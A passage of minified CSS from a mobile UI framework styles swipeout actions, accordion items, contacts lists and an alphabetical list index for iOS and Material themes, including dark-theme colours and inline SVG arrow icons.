.sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-right:calc(42px + constant(safe-area-inset-right));padding-right:calc(42px + env(safe-area-inset-right))}}.swipeout{overflow:hidden;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swipeout-deleting{-webkit-transition-duration:.3s;transition-duration:.3s}.swipeout-deleting .swipeout-content{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-transitioning .swipeout-actions-left a,.swipeout-transitioning .swipeout-actions-right a,.swipeout-transitioning .swipeout-content,.swipeout-transitioning .swipeout-overswipe{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:left,-webkit-transform;transition-property:left,-webkit-transform;transition-property:transform,left;transition-property:transform,left,-webkit-transform}.swipeout-content{position:relative;z-index:10}.swipeout-overswipe{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:left;transition-property:left}.swipeout-actions-left,.swipeout-actions-right{position:absolute;top:0;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;direction:ltr}.swipeout-actions-left>a,.swipeout-actions-left>button,.swipeout-actions-left>div,.swipeout-actions-left>span,.swipeout-actions-right>a,.swipeout-actions-right>button,.swipeout-actions-right>div,.swipeout-actions-right>span{color:#fff;background:#c7c7cc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;position:relative;left:0}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after,.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{content:'';position:absolute;top:0;width:600%;height:100%;background:inherit;z-index:-1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swipeout-actions-right{right:0;-webkit-transform:translateX(100%);transform:translateX(100%)}.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{left:100%;margin-left:-1px}.swipeout-actions-left{left:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after{right:100%;margin-right:-1px}.ios .swipeout-actions-left>a,.ios .swipeout-actions-left>button,.ios .swipeout-actions-left>div,.ios .swipeout-actions-left>span,.ios .swipeout-actions-right>a,.ios .swipeout-actions-right>button,.ios .swipeout-actions-right>div,.ios .swipeout-actions-right>span{padding:0 30px;color:#fff}.ios .swipeout-actions-left .swipeout-delete,.ios .swipeout-actions-right .swipeout-delete{background:#ff3b30}.ios .swipeout-actions-left>a.color-red,.ios .swipeout-actions-left>button.color-red,.ios .swipeout-actions-left>div.color-red,.ios .swipeout-actions-left>span.color-red,.ios .swipeout-actions-right>a.color-red,.ios .swipeout-actions-right>button.color-red,.ios .swipeout-actions-right>div.color-red,.ios .swipeout-actions-right>span.color-red{background-color:#ff3b30}.ios .swipeout-actions-left>a.color-green,.ios .swipeout-actions-left>button.color-green,.ios .swipeout-actions-left>div.color-green,.ios .swipeout-actions-left>span.color-green,.ios .swipeout-actions-right>a.color-green,.ios .swipeout-actions-right>button.color-green,.ios .swipeout-actions-right>div.color-green,.ios .swipeout-actions-right>span.color-green{background-color:#4cd964}.ios .swipeout-actions-left>a.color-blue,.ios .swipeout-actions-left>button.color-blue,.ios .swipeout-actions-left>div.color-blue,.ios .swipeout-actions-left>span.color-blue,.ios .swipeout-actions-right>a.color-blue,.ios .swipeout-actions-right>button.color-blue,.ios .swipeout-actions-right>div.color-blue,.ios .swipeout-actions-right>span.color-blue{background-color:#007aff}.ios .swipeout-actions-left>a.color-pink,.ios .swipeout-actions-left>button.color-pink,.ios .swipeout-actions-left>div.color-pink,.ios .swipeout-actions-left>span.color-pink,.ios .swipeout-actions-right>a.color-pink,.ios .swipeout-actions-right>button.color-pink,.ios .swipeout-actions-right>div.color-pink,.ios .swipeout-actions-right>span.color-pink{background-color:#ff2d55}.ios .swipeout-actions-left>a.color-yellow,.ios .swipeout-actions-left>button.color-yellow,.ios .swipeout-actions-left>div.color-yellow,.ios .swipeout-actions-left>span.color-yellow,.ios .swipeout-actions-right>a.color-yellow,.ios .swipeout-actions-right>button.color-yellow,.ios .swipeout-actions-right>div.color-yellow,.ios .swipeout-actions-right>span.color-yellow{background-color:#fc0}.ios .swipeout-actions-left>a.color-orange,.ios .swipeout-actions-left>button.color-orange,.ios .swipeout-actions-left>div.color-orange,.ios .swipeout-actions-left>span.color-orange,.ios .swipeout-actions-right>a.color-orange,.ios .swipeout-actions-right>button.color-orange,.ios .swipeout-actions-right>div.color-orange,.ios .swipeout-actions-right>span.color-orange{background-color:#ff9500}.ios .swipeout-actions-left>a.color-gray,.ios .swipeout-actions-left>button.color-gray,.ios .swipeout-actions-left>div.color-gray,.ios .swipeout-actions-left>span.color-gray,.ios .swipeout-actions-right>a.color-gray,.ios .swipeout-actions-right>button.color-gray,.ios .swipeout-actions-right>div.color-gray,.ios .swipeout-actions-right>span.color-gray{background-color:#8e8e93}.ios .swipeout-actions-left>a.color-white,.ios .swipeout-actions-left>button.color-white,.ios .swipeout-actions-left>div.color-white,.ios .swipeout-actions-left>span.color-white,.ios .swipeout-actions-right>a.color-white,.ios .swipeout-actions-right>button.color-white,.ios .swipeout-actions-right>div.color-white,.ios .swipeout-actions-right>span.color-white{background-color:#fff}.ios .swipeout-actions-left>a.color-black,.ios .swipeout-actions-left>button.color-black,.ios .swipeout-actions-left>div.color-black,.ios .swipeout-actions-left>span.color-black,.ios .swipeout-actions-right>a.color-black,.ios .swipeout-actions-right>button.color-black,.ios .swipeout-actions-right>div.color-black,.ios .swipeout-actions-right>span.color-black{background-color:#000}.md .swipeout-actions-left>a,.md .swipeout-actions-left>button,.md .swipeout-actions-left>div,.md .swipeout-actions-left>span,.md .swipeout-actions-right>a,.md .swipeout-actions-right>button,.md .swipeout-actions-right>div,.md .swipeout-actions-right>span{padding:0 24px;color:#fff}.md .swipeout-actions-left .swipeout-delete,.md .swipeout-actions-right .swipeout-delete{background:#f44336}.md .swipeout-actions-left>a.color-red,.md .swipeout-actions-left>button.color-red,.md .swipeout-actions-left>div.color-red,.md .swipeout-actions-left>span.color-red,.md .swipeout-actions-right>a.color-red,.md .swipeout-actions-right>button.color-red,.md .swipeout-actions-right>div.color-red,.md .swipeout-actions-right>span.color-red{background-color:#f44336}.md .swipeout-actions-left>a.color-green,.md .swipeout-actions-left>button.color-green,.md .swipeout-actions-left>div.color-green,.md .swipeout-actions-left>span.color-green,.md .swipeout-actions-right>a.color-green,.md .swipeout-actions-right>button.color-green,.md .swipeout-actions-right>div.color-green,.md .swipeout-actions-right>span.color-green{background-color:#4caf50}.md .swipeout-actions-left>a.color-blue,.md .swipeout-actions-left>button.color-blue,.md .swipeout-actions-left>div.color-blue,.md .swipeout-actions-left>span.color-blue,.md .swipeout-actions-right>a.color-blue,.md .swipeout-actions-right>button.color-blue,.md .swipeout-actions-right>div.color-blue,.md .swipeout-actions-right>span.color-blue{background-color:#2196f3}.md .swipeout-actions-left>a.color-pink,.md .swipeout-actions-left>button.color-pink,.md .swipeout-actions-left>div.color-pink,.md .swipeout-actions-left>span.color-pink,.md .swipeout-actions-right>a.color-pink,.md .swipeout-actions-right>button.color-pink,.md .swipeout-actions-right>div.color-pink,.md .swipeout-actions-right>span.color-pink{background-color:#e91e63}.md .swipeout-actions-left>a.color-yellow,.md .swipeout-actions-left>button.color-yellow,.md .swipeout-actions-left>div.color-yellow,.md .swipeout-actions-left>span.color-yellow,.md .swipeout-actions-right>a.color-yellow,.md .swipeout-actions-right>button.color-yellow,.md .swipeout-actions-right>div.color-yellow,.md .swipeout-actions-right>span.color-yellow{background-color:#ffeb3b}.md .swipeout-actions-left>a.color-orange,.md .swipeout-actions-left>button.color-orange,.md .swipeout-actions-left>div.color-orange,.md .swipeout-actions-left>span.color-orange,.md .swipeout-actions-right>a.color-orange,.md .swipeout-actions-right>button.color-orange,.md .swipeout-actions-right>div.color-orange,.md .swipeout-actions-right>span.color-orange{background-color:#ff9800}.md .swipeout-actions-left>a.color-gray,.md .swipeout-actions-left>button.color-gray,.md .swipeout-actions-left>div.color-gray,.md .swipeout-actions-left>span.color-gray,.md .swipeout-actions-right>a.color-gray,.md .swipeout-actions-right>button.color-gray,.md .swipeout-actions-right>div.color-gray,.md .swipeout-actions-right>span.color-gray{background-color:#9e9e9e}.md .swipeout-actions-left>a.color-white,.md .swipeout-actions-left>button.color-white,.md .swipeout-actions-left>div.color-white,.md .swipeout-actions-left>span.color-white,.md .swipeout-actions-right>a.color-white,.md .swipeout-actions-right>button.color-white,.md .swipeout-actions-right>div.color-white,.md .swipeout-actions-right>span.color-white{background-color:#fff}.md .swipeout-actions-left>a.color-black,.md .swipeout-actions-left>button.color-black,.md .swipeout-actions-left>div.color-black,.md .swipeout-actions-left>span.color-black,.md .swipeout-actions-right>a.color-black,.md .swipeout-actions-right>button.color-black,.md .swipeout-actions-right>div.color-black,.md .swipeout-actions-right>span.color-black{background-color:#000}.accordion-item-toggle{cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state>.item-inner:after{background-color:transparent}.accordion-item-toggle .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color}.accordion-item-toggle .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .item-link .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .block,.accordion-item .list{margin-top:0;margin-bottom:0}.accordion-item .block>h1:first-child,.accordion-item .block>h2:first-child,.accordion-item .block>h3:first-child,.accordion-item .block>h4:first-child,.accordion-item .block>p:first-child{margin-top:10px}.accordion-item .block>h1:last-child,.accordion-item .block>h2:last-child,.accordion-item .block>h3:last-child,.accordion-item .block>h4:last-child,.accordion-item .block>p:last-child{margin-bottom:10px}.accordion-item-opened .accordion-item-toggle .item-inner:after,.accordion-item-opened>.item-link .item-inner:after{background-color:transparent}.list li.accordion-item ul{padding-left:0}.accordion-item-content{position:relative;overflow:hidden;height:0;font-size:14px;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-opened>.accordion-item-content{height:auto}html.device-android-4 .accordion-item-content{-webkit-transform:none;transform:none}.ios .list .accordion-item-toggle .item-inner{background-size:8px 13px;background:no-repeat calc(100% - 15px) center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");padding-right:35px}.ios .list .accordion-item-toggle.active-state{background-color:#d9d9d9}.ios .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.ios .accordion-item-opened.media-item>.item-link .item-title-row,.ios .links-list .accordion-item-opened>a,.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.ios .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.ios .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.ios .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");background-size:13px 13px}.ios .theme-dark .list .accordion-item-toggle .item-inner{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.ios .theme-dark .list .accordion-item-toggle.active-state{background-color:#363636}.ios .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.ios .theme-dark .accordion-item-opened.media-item>.item-link .item-title-row,.ios .theme-dark .links-list .accordion-item-opened>a,.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.ios .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.ios .theme-dark .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .list .accordion-item-toggle .item-inner{padding-right:42px;background:no-repeat calc(100% - 16px) center}.md .list .accordion-item-toggle.active-state{background-color:rgba(0,0,0,.1)}.md .accordion-item.media-item .accordion-item-toggle .item-title-row,.md .accordion-item.media-item>.item-link .item-title-row,.md .links-list .accordion-item>a,.md .list .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item:not(.media-item)>.item-link .item-inner,.md .media-list .accordion-item .accordion-item-toggle .item-title-row,.md .media-list .accordion-item>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");background-size:13px 13px}.md .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.md .accordion-item-opened.media-item>.item-link .item-title-row,.md .links-list .accordion-item-opened>a,.md .list .accordion-item-toggle.accordion-item-opened .item-inner,.md .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.md .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.md .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .theme-dark .accordion-item.media-item .accordion-item-toggle .item-title-row,.md .theme-dark .accordion-item.media-item>.item-link .item-title-row,.md .theme-dark .links-list .accordion-item>a,.md .theme-dark .list .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item)>.item-link .item-inner,.md .theme-dark .media-list .accordion-item .accordion-item-toggle .item-title-row,.md .theme-dark .media-list .accordion-item>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.md .theme-dark .accordion-item-opened.media-item>.item-link .item-title-row,.md .theme-dark .links-list .accordion-item-opened>a,.md .theme-dark .list .accordion-item-toggle.accordion-item-opened .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.md .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.md .theme-dark .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.contacts-list .list-group:first-child ul:before{display:none!important}.contacts-list .list-group:last-child ul:after{display:none!important}.ios .contacts-list{margin:0}.ios .contacts-list .list-group-title{padding:0 15px;background:#f7f7f7;color:#000;font-weight:600;line-height:22px;height:22px}.contacts-list.ios .theme-dark .list-group-title,.ios .theme-dark .contacts-list .list-group-title{background-color:#111;color:#fff}.md .contacts-list{margin:0}.md .contacts-list .list-group-title{padding:0 16px;pointer-events:none;background:0 0;color:#2196f3;font-weight:500;line-height:48px;height:48px;font-size:20px;overflow:visible;width:56px}.md .contacts-list .list-group-title+li{margin-top:-48px}.md .contacts-list li:not(.list-group-title){padding-left:56px}.md .theme-dark .contacts-list .list-group-title{color:#fff}.list-index{position:absolute;top:0;bottom:0;right:0;text-align:center;z-index:10;width:16px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.list-index:before{content:'';position:absolute;width:20px;top:0;right:100%;height:100%}.list-index ul{font-size:11px;font-weight:600;list-style:none;margin:0;padding:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;height:100%;width:100%;position:relative}.list-index li{margin:0;padding:0;list-style:none;position:relative;height:14px;line-height:14px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:block;width:100%}.list-index .list-index-skip-placeholder:after{content:'';position:absolute;left:50%;top:50%;border-radius:50%}.list-index .list-index-label{position:absolute;bottom:0;right:100%;text-align:center;border-radius:50%;color:#fff;font-weight:500}.ios .list-index ul{color:#007aff}.ios .list-index .list-index-skip-placeholder:after{content:'';width:6px;height:6px;margin-left:-3px;margin-top:-3px;background:#007aff}.ios .list-index .list-index-label{margin-bottom:-22px;margin-right:15px;width:44px;height:44px;line-height:44px;border-radius:50%;background:#007aff;font-size:17px}.ios .list-index .list-index-label:before{position:absolute;width:100%;height:100%;border-radius:50% 0 50% 50%;content:'';background-color:inherit;left:0;top:0;-webkit-transform:rotate(45deg);transform:rotate(45deg);z-index:-1}.ios .navbar~.list-index,.ios .navbar~.page>.list-index{top:44px}.ios .toolbar~* .page>.list-index,.ios .toolbar~.list-index,.ios .toolbar~.page>.list-index{bottom:44px}.ios .tabbar-labels~* .page>.list-index,.ios .tabbar-labels~.list-index,.ios .tabbar-labels~.page>.list-index{bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .page>.list-index,.ios .tabbar-labels~.list-index,.ios .tabbar-labels~.page>.list-index{bottom:56px}}.ios.device-iphone-x .toolbar~* .page>.list-index,.ios.device-iphone-x .toolbar~.list-index,.ios.device-iphone-x .toolbar~.page>.list-index{bottom:calc(44px + constant(safe-area-inset-bottom));bottom:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .tabbar-labels~* .page>.list-index,.ios.device-iphone-x .tabbar-labels~.list-index,.ios.device-iphone-x .tabbar-labels~.page>.list-index{bottom:calc(50px + constant(safe-area-inset-bottom));bottom:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .tabbar-labels~* .page>.list-index,.ios.device-iphone-x .tabbar-labels~.list-index,.ios.device-iphone-x .tabbar-labels~.page>.list-index{bottom:calc(56px + constant(safe-area-inset-bottom));bottom:calc(56px + env(safe-area-inset-bottom))}}.ios .color-theme-red .list-index ul,.ios .list-index.color-theme-red ul{color:#ff3b30}.ios .color-theme-red .list-index .list-index-label,.ios .color-theme-red .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-red .list-index-label,.ios .list-index.color-theme-red .list-index-skip-placeholder:after{background-color:#ff3b30}.ios .color-theme-green .list-index ul,.ios .list-index.color-theme-green ul{color:#4cd964}.ios .color-theme-green .list-index .list-index-label,.ios .color-theme-green .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-green .list-index-label,.ios .list-index.color-theme-green .list-index-skip-placeholder:after{background-color:#4cd964}.ios .color-theme-blue .list-index ul,.ios .list-index.color-theme-blue ul{color:#007aff}.ios .color-theme-blue .list-index .list-index-label,.ios .color-theme-blue .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-blue .list-index-label,.ios .list-index.color-theme-blue .list-index-skip-placeholder:after{background-color:#007aff}.ios .color-theme-pink .list-index ul,.ios .list-index.color-theme-pink ul{color:#ff2d55}.ios .color-theme-pink .list-index .list-index-label,.ios .color-theme-pink .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-pink .list-index-label,.ios .list-index.color-theme-pink .list-index-skip-placeholder:after{background-color:#ff2d55}.ios .color-theme-yellow .list-index ul,.ios .list-index.color-theme-yellow ul{color:#fc0}.ios .color-theme-yellow .list-index .list-index-label,.ios .color-theme-yellow .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-yellow .list-index-label,.ios .list-index.color-theme-yellow .list-index-skip-placeholder:after{background-color:#fc0}.ios .color-theme-orange .list-index ul,.ios .list-index.color-theme-orange ul{color:#ff9500}.ios .color-theme-orange .list-index .list-index-label,.ios .color-theme-orange .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-orange .list-index-label,.ios .list-index.color-theme-orange .list-index-skip-placeholder:after{background-color:#ff9500}.ios .color-theme-gray .list-index ul,.ios .list-index.color-theme-gray ul{color:#8e8e93}.ios .color-theme-gray .list-index .list-index-label,.ios .color-theme-gray .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-gray .list-index-label,.ios .list-index.color-theme-gray .list-index-skip-placeholder:after{background-color:#8e8e93}.ios .color-theme-white .list-index ul,.ios .list-index.color-theme-white ul{color:#fff}.ios .color-theme-white .list-index .list-index-label,.ios .color-theme-white .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-white .list-index-label,.ios .list-index.color-theme-white .list-index-skip-placeholder:after{background-color:#fff}.ios .color-theme-black .list-index ul,.ios .list-index.color-theme-black ul{color:#000}.ios .color-theme-black .list-index .list-index-label,.ios .color-theme-black .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-black .list-index-label,.ios .list-index.color-theme-black .list-index-skip-placeholder:after{background-color:#000}.ios .list-index.color-red ul{color:#ff3b30}.ios .list-index.color-red .list-index-label,.ios .list-index.color-red .list-index-skip-placeholder:after{background-color:#ff3b30}.ios .list-index.color-green ul{color:#4cd964}.ios .list-index.color-green .list-index-label,.ios .list-index.color-green .list-index-skip-placeholder:after{background-color:#4cd964}.ios .list-index.color-blue ul{color:#007aff}.ios .list-index.color-blue .list-index-label,.ios .list-index.color-blue .list-index-skip-placeholder:after{background-color:#007aff}.ios .list-index.color-pink ul{color:#ff2d55}.ios .list-index.color-pink .list-index-label,.ios .list-index.color-pink .list-index-skip-placeholder:after{background-color:#ff2d55}.ios .list-index.color-yellow ul{color:#fc0}.ios .list-index.color-yellow .list-index-label,.ios .list-index.color-yellow .list-index-skip-placeholder:after{background-color:#fc0}.ios .list-index.color-orange ul{color:#ff9500}.ios .list-index.color-orange .list-index-label,.ios .list-index.color-orange .list-index-skip-placeholder:after{background-color:#ff9500}.ios .list-index.color-gray ul{color:#8e8e93}.ios .list-index.color-gray .list-index-label,.ios .list-index.color-gray .list-index-skip-placeholder:after{background-color:#8e8e93}.ios .list-index.color-white ul{color:#fff}.ios .list-index.color-white .list-index-label,.ios .list-index.color-white .list-index-skip-placeholder:after{background-color:#fff}.ios .list-index.color-black ul{color:#000}.ios .list-index.color-black .list-index-label,.ios .list-index.color-black .list-index-skip-placeholder:after{background-color:#000}.md .list-index ul{color:#2196f3}.md .list-index .list-index-skip-placeholder:after{content:'';width:4px;height:4px;margin-left:-2px;margin-top:-2px;background:#2196f3}.md .list-index .list-index-label{width:56px;height:56px;line-height:56px;border-radius:50% 50% 0 50%;background:#2196f3;font-size:20px}.md .navbar~.list-index{top:56px}@media (min-width:768px){.md .navbar~.list-index{top:64px}}.md .navbar~.subnavbar~.list-index,.md .navbar~.toolbar:not(.toolbar-bottom-md)~.list-index,.md .page-with-subnavbar .navbar~.list-index{top:104px}.md .navbar~.tabbar-labels:not(.toolbar-bottom-md)~.list-index{top:128px}.md .toolbar-bottom-md~* .page>.list-index,.md .toolbar-bottom-md~.page>.list-index{bottom:48px}.md .tabbar-labels.toolbar-bottom-md~* .page>.list-index,.md .tabbar-labels.toolbar-bottom-md~.list-index,.md .tabbar-labels.toolbar-bottom-md~.page>.list-index{bottom:56px}.md.device-iphone-x .toolbar-bottom-md~* .page>.list-index,.md.device-iphone-x .toolbar-bottom-md~.page>.list-index{bottom:calc(48px + constant(safe-area-inset-bottom));bottom:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~* .page>.list-index,.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~.list-index,.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~.page>.list-index{bottom:calc(56px + constant(safe-area-inset-bottom));bottom:calc(56px + env(safe-area-inset-bottom))}.md .color-theme-red .list-index ul,.md .list-index.color-theme-red ul{color:#f44336}.md .color-theme-red .list-index .list-index-label,.md .color-theme-red .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-red .list-index-label,.md .list-index.color-theme-red .list-index-skip-placeholder:after{background-color:#f44336}.md .color-theme-green .list-index ul,.md .list-index.color-theme-green ul{color:#4caf50}.md .color-theme-green .list-index .list-index-label,.md .color-theme-green .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-green .list-index-label,.md .list-index.color-theme-green .list-index-skip-placeholder:after{background-color:#4caf50}.md .color-theme-blue .list-index ul,.md .list-index.color-theme-blue ul{color:#2196f3}.md .color-theme-blue .list-index .list-index-label,.md .color-theme-blue .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-blue .list-index-label,.md .list-index.color-theme-blue .list-index-skip-placeholder:after{background-color:#2196f3}.md .color-theme-pink .list-index ul,.md .list-index.color-theme-pink ul{color:#e91e63}.md .color-theme-pink .list-index .list-index-label,.md .color-theme-pink .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-pink .list-index-label,.md .list-index.color-theme-pink .list-index-skip-placeholder:after{background-color:#e91e63}.md .color-theme-yellow .list-index ul,.md .list-index.color-theme-yellow ul{color:#ffeb3b}.md .color-theme-yellow .list-index .list-index-label,.md .color-theme-yellow .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-yellow .list-index-label,.md .list-index.color-theme-yellow .list-index-skip-placeholder:after{background-color:#ffeb3b}.md .color-theme-orange .list-index ul,.md .list-index.color-theme-orange ul{color:#ff9800}.md .color-theme-orange .list-index .list-index-label,.md .color-theme-orange .list-index 